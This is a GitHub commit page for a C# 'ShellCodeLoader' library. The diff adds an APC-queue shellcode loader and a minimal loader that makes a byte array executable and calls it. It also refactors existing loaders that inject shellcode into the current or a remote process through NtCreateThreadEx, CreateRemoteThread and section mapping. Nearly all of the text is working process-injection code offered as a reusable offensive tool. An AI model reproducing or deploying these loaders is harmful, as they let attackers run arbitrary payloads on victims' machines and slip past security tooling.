Skip to content

Commit c3c4ba0

Browse files
committed
Third Update
* Added QueueAPC locally * Added Minimal ShellCodeLoader * Code improvements
1 parent 3e2d70d commit c3c4ba0

24 files changed

+332
-25
lines changed
Binary file not shown.

ShellCodeLoader/MapView.cs

+1
Original file line numberDiff line numberDiff line change
@@ -45,6 +45,7 @@ private void NtMapView()
4545
UInt64 localOffset = 0;
4646
Imports.NtMapViewOfSection(hSectionHandle, Process.GetCurrentProcess().Handle, ref pLocalView, UIntPtr.Zero, UIntPtr.Zero, ref localOffset, ref RegionSize, Imports.VIEWUNMAP, 0, PageProtection.PAGE_READWRITE);
4747

48+
4849
UInt64 remoteOffset = 0;
4950
IntPtr pRemoteView = IntPtr.Zero;
5051
Imports.NtMapViewOfSection(hSectionHandle, Target.Handle, ref pRemoteView, UIntPtr.Zero, UIntPtr.Zero, ref remoteOffset, ref RegionSize, Imports.VIEWUNMAP, 0, PageProtection.PAGE_EXECUTE_READ);

ShellCodeLoader/QueueAPC.cs

+133
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,133 @@
1+
using Microsoft.Win32.SafeHandles;
2+
using System;
3+
using System.Diagnostics;
4+
using System.Runtime.InteropServices;
5+
using System.Threading;
6+
using static ShellCodeLoader.Shared;
7+
/*
8+
|| AUTHOR Arsium ||
9+
|| github : https://github.com/arsium ||
10+
|| Please let this credit for all the time I worked on ||
11+
|| Guide & Inspirations : https://www.ired.team/offensive-security/code-injection-process-injection/apc-queue-code-injection
12+
*/
13+
namespace ShellCodeLoader
14+
{
15+
public class QueueAPC : IDisposable
16+
{
17+
18+
private byte[] ShellCode;
19+
private uint RegionSize;
20+
private Process Target;
21+
private bool NewThread;
22+
23+
public QueueAPC(byte[] shellCode, bool newThread = false)
24+
{
25+
this.ShellCode = shellCode;
26+
this.RegionSize = (uint)shellCode.Length;
27+
this.Target = Process.GetCurrentProcess();
28+
this.NewThread = newThread;
29+
}
30+
private unsafe void CallBackQueueUserAPC(void* param)
31+
{
32+
IntPtr ptr = Imports.VirtualAllocEx(Target.Handle, IntPtr.Zero, (IntPtr)ShellCode.Length, TypeAlloc.MEM_COMMIT | TypeAlloc.MEM_RESERVE, Shared.PageProtection.PAGE_EXECUTE_READWRITE);
33+
34+
UIntPtr writtenBytes;
35+
Imports.WriteProcessMemory(Target.Handle, ptr, ShellCode, (UIntPtr)ShellCode.Length, out writtenBytes);
36+
37+
PageProtection flOld;
38+
Imports.VirtualProtect(ptr, RegionSize, PageProtection.PAGE_EXECUTE_READWRITE, out flOld);
39+
40+
ShellCodeCaller s = (ShellCodeCaller)Marshal.GetDelegateForFunctionPointer(ptr, typeof(ShellCodeCaller));
41+
s();
42+
}
43+
44+
private unsafe void QueueUserAPC()
45+
{
46+
if (NewThread)
47+
{
48+
new Thread(() =>
49+
{
50+
//https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-queueuserapc
51+
Imports.CallBack s = new Imports.CallBack(CallBackQueueUserAPC); //set our callback for APC (the callback is a classic shellcode loader
52+
53+
Imports.QueueUserAPC(s, Imports.GetCurrentThread(), IntPtr.Zero); //add apc to our thread
54+
55+
//Imports.SleepEx(0, true); //now we have to set an alertable for our thread : https://docs.microsoft.com/en-us/windows/win32/sync/asynchronous-procedure-calls
56+
Imports.NtTestAlert(); //empty APC queue for the current thread
57+
58+
}).Start();
59+
}
60+
else
61+
{
62+
//https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-queueuserapc
63+
Imports.CallBack s = new Imports.CallBack(CallBackQueueUserAPC); //set our callback for APC (the callback is a classic shellcode loader
64+
65+
Imports.QueueUserAPC(s, Imports.GetCurrentThread(), IntPtr.Zero); //add apc to our thread
66+
67+
//Imports.SleepEx(0, true); //now we have to set an alertable for our thread : https://docs.microsoft.com/en-us/windows/win32/sync/asynchronous-procedure-calls
68+
Imports.NtTestAlert(); //empty APC queue for the current thread
69+
}
70+
}
71+
72+
public void LoadWithQueueAPC()
73+
{
74+
QueueUserAPC();
75+
}
76+
77+
private static class Imports
78+
{
79+
internal const String KERNEL32 = "kernel32.dll";
80+
internal const String NTDLL = "ntdll.dll";
81+
82+
83+
public unsafe delegate void CallBack(void* param);
84+
public delegate void ShellCodeCaller();
85+
86+
87+
[DllImport(KERNEL32, SetLastError = true, ExactSpelling = true, CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)]
88+
public static unsafe extern uint QueueUserAPC(CallBack pFunction, IntPtr tHandle, IntPtr dwData);
89+
[DllImport(KERNEL32, SetLastError = true, ExactSpelling = true, CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)]
90+
public static unsafe extern uint SleepEx(uint dwMilliseconds, bool bAlertable);
91+
[DllImport(NTDLL, SetLastError = true)]
92+
public static extern uint NtTestAlert();
93+
94+
95+
[DllImport(KERNEL32, SetLastError = true, ExactSpelling = true, CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)]
96+
public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, UIntPtr nSize, out UIntPtr lpNumberOfBytesWritten);
97+
98+
[DllImport(KERNEL32, SetLastError = true, ExactSpelling = true, CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)]
99+
public static extern IntPtr VirtualAllocEx(IntPtr procHandle, IntPtr address, IntPtr numBytes, Shared.TypeAlloc commitOrReserve, Shared.PageProtection pageProtectionMode);
100+
101+
[DllImport(KERNEL32, SetLastError = true, ExactSpelling = true, CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)]
102+
public static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize, Shared.PageProtection flNewProtect, out Shared.PageProtection lpflOldProtect);
103+
[DllImport(KERNEL32, SetLastError = true, ExactSpelling = true, CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)]
104+
public static extern IntPtr GetCurrentThread();
105+
}
106+
107+
private bool _disposed = false;
108+
109+
// Instantiate a SafeHandle instance.
110+
private SafeHandle _safeHandle = new SafeFileHandle(IntPtr.Zero, true);
111+
112+
// Public implementation of Dispose pattern callable by consumers.
113+
public void Dispose() => Dispose(true);
114+
115+
// Protected implementation of Dispose pattern.
116+
protected virtual void Dispose(bool disposing)
117+
{
118+
if (_disposed)
119+
{
120+
return;
121+
}
122+
123+
if (disposing)
124+
{
125+
// Dispose managed state (managed objects).
126+
_safeHandle?.Dispose();
127+
}
128+
129+
_disposed = true;
130+
GC.SuppressFinalize(this);
131+
}
132+
}
133+
}

ShellCodeLoader/Shared.cs

+9-5
Original file line numberDiff line numberDiff line change
@@ -1,15 +1,19 @@
11
using System;
2+
using System.Runtime.InteropServices;
23
/*
34
|| AUTHOR Arsium ||
45
|| github : https://github.com/arsium ||
56
|| Please let this credit for all the time I worked on ||
6-
*/
7+
*/
78
namespace ShellCodeLoader
89
{
910
internal class Shared
1011
{
12+
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
13+
internal delegate void ShellCodeCaller();
14+
1115
[Flags]
12-
public enum TypeAlloc : uint
16+
internal enum TypeAlloc : uint
1317
{
1418
MEM_COMMIT = 0x00001000,
1519
MEM_RESERVE = 0x00002000,
@@ -22,7 +26,7 @@ public enum TypeAlloc : uint
2226
}
2327

2428
[Flags]
25-
public enum FreeType : uint
29+
internal enum FreeType : uint
2630
{
2731
MEM_DECOMMIT = 0x00004000,
2832
MEM_RELEASE = 0x00008000,
@@ -31,7 +35,7 @@ public enum FreeType : uint
3135
}
3236

3337
[Flags]
34-
public enum PageProtection : uint
38+
internal enum PageProtection : uint
3539
{
3640
PAGE_EXECUTE = 0x10,
3741
PAGE_EXECUTE_READ = 0x20,
@@ -49,7 +53,7 @@ public enum PageProtection : uint
4953
}
5054

5155
[Flags]
52-
public enum AccessMask : uint
56+
internal enum AccessMask : uint
5357
{
5458
GENERIC_READ = 0x80000000,
5559
GENERIC_WRITE = 0x40000000,

ShellCodeLoader/ShellCodeLoader.cs

+14-9
Original file line numberDiff line numberDiff line change
@@ -22,9 +22,6 @@ public class ShellCodeLoader : IDisposable
2222
/// </summary>
2323
public bool Asynchronous { get; set; }
2424

25-
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
26-
private delegate void ShellCodeCaller();
27-
2825
public ShellCodeLoader(byte[] shellCode)
2926
{
3027
this.ShellCode = shellCode;
@@ -89,25 +86,33 @@ public void LoadWithKernel32Delegates()
8986

9087
private void NT()
9188
{
92-
Imports.NtAllocateVirtualMemory(Imports.GetCurrentProcess(), ref ptr, IntPtr.Zero, ref RegionSize, TypeAlloc.MEM_COMMIT | TypeAlloc.MEM_RESERVE, PageProtection.PAGE_EXECUTE_READWRITE);
89+
Imports.NtAllocateVirtualMemory(Imports.GetCurrentProcess(), ref ptr, IntPtr.Zero, ref RegionSize, TypeAlloc.MEM_COMMIT | TypeAlloc.MEM_RESERVE, PageProtection.PAGE_EXECUTE_READWRITE);
90+
9391
UIntPtr bytesWritten;
94-
Imports.NtWriteVirtualMemory(Imports.GetCurrentProcess(), ptr, ShellCode, (UIntPtr)ShellCode.Length, out bytesWritten);
92+
Imports.NtWriteVirtualMemory(Imports.GetCurrentProcess(), ptr, ShellCode, (UIntPtr)ShellCode.Length, out bytesWritten);
93+
9594
PageProtection flOld = new PageProtection();
96-
Imports.NtProtectVirtualMemory(Imports.GetCurrentProcess(), ref ptr, ref RegionSize, PageProtection.PAGE_EXECUTE_READ, ref flOld);
95+
Imports.NtProtectVirtualMemory(Imports.GetCurrentProcess(), ref ptr, ref RegionSize, PageProtection.PAGE_EXECUTE_READ, ref flOld);
96+
9797
ShellCodeCaller load = (ShellCodeCaller)Marshal.GetDelegateForFunctionPointer(ptr, typeof(ShellCodeCaller));
9898
load();
99+
99100
Imports.NtFreeVirtualMemory(Imports.GetCurrentProcess(), ref ptr, ref RegionSize, FreeType.MEM_RELEASE);
100101
}
101102

102103
private void Kernel32()
103104
{
104-
this.ptr = Imports.VirtualAlloc(IntPtr.Zero, (IntPtr)ShellCode.Length, TypeAlloc.MEM_COMMIT | TypeAlloc.MEM_RESERVE, PageProtection.PAGE_EXECUTE_READWRITE);
105+
this.ptr = Imports.VirtualAlloc(IntPtr.Zero, (IntPtr)ShellCode.Length, TypeAlloc.MEM_COMMIT | TypeAlloc.MEM_RESERVE, PageProtection.PAGE_EXECUTE_READWRITE);
106+
105107
UIntPtr writtenBytes;
106-
Imports.WriteProcessMemory(Imports.GetCurrentProcess(), ptr, ShellCode, (UIntPtr)ShellCode.Length, out writtenBytes);
108+
Imports.WriteProcessMemory(Imports.GetCurrentProcess(), ptr, ShellCode, (UIntPtr)ShellCode.Length, out writtenBytes);
109+
107110
PageProtection flOld;
108-
Imports.VirtualProtect(ptr, RegionSize, PageProtection.PAGE_EXECUTE_READ, out flOld);
111+
Imports.VirtualProtect(ptr, RegionSize, PageProtection.PAGE_EXECUTE_READ, out flOld);
112+
109113
ShellCodeCaller load = (ShellCodeCaller)Marshal.GetDelegateForFunctionPointer(ptr, typeof(ShellCodeCaller));
110114
load();
115+
111116
Imports.VirtualFree(ptr, (uint)0, FreeType.MEM_RELEASE);
112117
}
113118

ShellCodeLoader/ShellCodeLoader.csproj

+2
Original file line numberDiff line numberDiff line change
@@ -56,10 +56,12 @@
5656
</ItemGroup>
5757
<ItemGroup>
5858
<Compile Include="MapView.cs" />
59+
<Compile Include="QueueAPC.cs" />
5960
<Compile Include="Shared.cs" />
6061
<Compile Include="ShellCodeLoader.cs" />
6162
<Compile Include="Properties\AssemblyInfo.cs" />
6263
<Compile Include="ShellCodeLoaderEx.cs" />
64+
<Compile Include="ShellCodeLoaderMinimalNativeAPI.cs" />
6365
</ItemGroup>
6466
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
6567
</Project>

ShellCodeLoader/ShellCodeLoaderEx.cs

+6
Original file line numberDiff line numberDiff line change
@@ -39,9 +39,12 @@ private void NT()
3939
{
4040
Imports.NtAllocateVirtualMemory(Target.Handle, ref ptr, IntPtr.Zero, ref RegionSize, TypeAlloc.MEM_COMMIT | TypeAlloc.MEM_RESERVE, PageProtection.PAGE_EXECUTE_READWRITE);
4141
UIntPtr bytesWritten;
42+
4243
Imports.NtWriteVirtualMemory(Target.Handle, ptr, ShellCode, (UIntPtr)ShellCode.Length, out bytesWritten);
44+
4345
PageProtection flOld = new PageProtection();
4446
Imports.NtProtectVirtualMemory(Target.Handle, ref ptr, ref RegionSize, PageProtection.PAGE_EXECUTE_READ, ref flOld);
47+
4548
IntPtr hThread = IntPtr.Zero;
4649
Imports.NtCreateThreadEx(ref hThread, AccessMask.GENERIC_EXECUTE, IntPtr.Zero, Target.Handle, ptr, IntPtr.Zero, false, 0, 0, 0, IntPtr.Zero);
4750
//
@@ -52,10 +55,13 @@ private void NT()
5255
private void Kernel32()
5356
{
5457
this.ptr = Imports.VirtualAllocEx(Target.Handle, IntPtr.Zero, (IntPtr)ShellCode.Length, TypeAlloc.MEM_COMMIT | TypeAlloc.MEM_RESERVE, PageProtection.PAGE_EXECUTE_READWRITE);
58+
5559
UIntPtr writtenBytes;
5660
Imports.WriteProcessMemory(Target.Handle, ptr, ShellCode, (UIntPtr)ShellCode.Length, out writtenBytes);
61+
5762
PageProtection flOld;
5863
Imports.VirtualProtectEx(Target.Handle, ptr, RegionSize, PageProtection.PAGE_EXECUTE_READ, out flOld);
64+
5965
IntPtr hThread = Imports.CreateRemoteThread(Target.Handle, IntPtr.Zero, 0, ptr, IntPtr.Zero, Imports.ThreadCreationFlags.NORMAL, out hThread);
6066
}
6167

Original file line numberDiff line numberDiff line change
@@ -0,0 +1,83 @@
1+
using Microsoft.Win32.SafeHandles;
2+
using System;
3+
using System.Runtime.InteropServices;
4+
using System.Threading;
5+
using System.Threading.Tasks;
6+
using static ShellCodeLoader.Shared;
7+
8+
namespace ShellCodeLoader
9+
{
10+
public class ShellCodeLoaderMinimalNativeAPI : IDisposable
11+
{
12+
private byte[] ShellCode;
13+
private uint RegionSize;
14+
/// <summary>
15+
/// Default is false.
16+
/// </summary>
17+
public bool Asynchronous { get; set; }
18+
19+
20+
public ShellCodeLoaderMinimalNativeAPI(byte[] shellCode)
21+
{
22+
this.ShellCode = shellCode;
23+
this.RegionSize = (uint)shellCode.Length;
24+
this.Asynchronous = false;
25+
}
26+
27+
public void LoadWithMinimalAPI()
28+
{
29+
if (this.Asynchronous)
30+
{
31+
Task.Factory.StartNew(() => { MinimalAPI(); }, CancellationToken.None, TaskCreationOptions.None, TaskScheduler.Default);
32+
}
33+
else
34+
{
35+
MinimalAPI();
36+
}
37+
}
38+
private unsafe void MinimalAPI()
39+
{
40+
fixed(void* ptr = &this.ShellCode[0])
41+
{
42+
PageProtection flOld;
43+
Imports.VirtualProtect((IntPtr)ptr, RegionSize, Shared.PageProtection.PAGE_EXECUTE_READWRITE, out flOld);
44+
45+
ShellCodeCaller s = (ShellCodeCaller)Marshal.GetDelegateForFunctionPointer((IntPtr)ptr, typeof(ShellCodeCaller));
46+
s();
47+
}
48+
}
49+
internal static class Imports
50+
{
51+
52+
internal const String KERNEL32 = "kernel32.dll";
53+
[DllImport(KERNEL32, SetLastError = true, ExactSpelling = true, CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)]
54+
public static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize, Shared.PageProtection flNewProtect, out Shared.PageProtection lpflOldProtect);
55+
}
56+
57+
private bool _disposed = false;
58+
59+
// Instantiate a SafeHandle instance.
60+
private SafeHandle _safeHandle = new SafeFileHandle(IntPtr.Zero, true);
61+
62+
// Public implementation of Dispose pattern callable by consumers.
63+
public void Dispose() => Dispose(true);
64+
65+
// Protected implementation of Dispose pattern.
66+
protected virtual void Dispose(bool disposing)
67+
{
68+
if (_disposed)
69+
{
70+
return;
71+
}
72+
73+
if (disposing)
74+
{
75+
// Dispose managed state (managed objects).
76+
_safeHandle?.Dispose();
77+
}
78+
79+
_disposed = true;
80+
GC.SuppressFinalize(this);
81+
}
82+
}
83+
}
Binary file not shown.
Binary file not shown.
Original file line numberDiff line numberDiff line change
@@ -1 +1 @@
1-
b025bf862b326d406604d35fe513ad97e74800ce
1+
d13612e3ee84b59d0abdaff95468991f181618fb
Binary file not shown.

0 commit comments

Comments
 (0)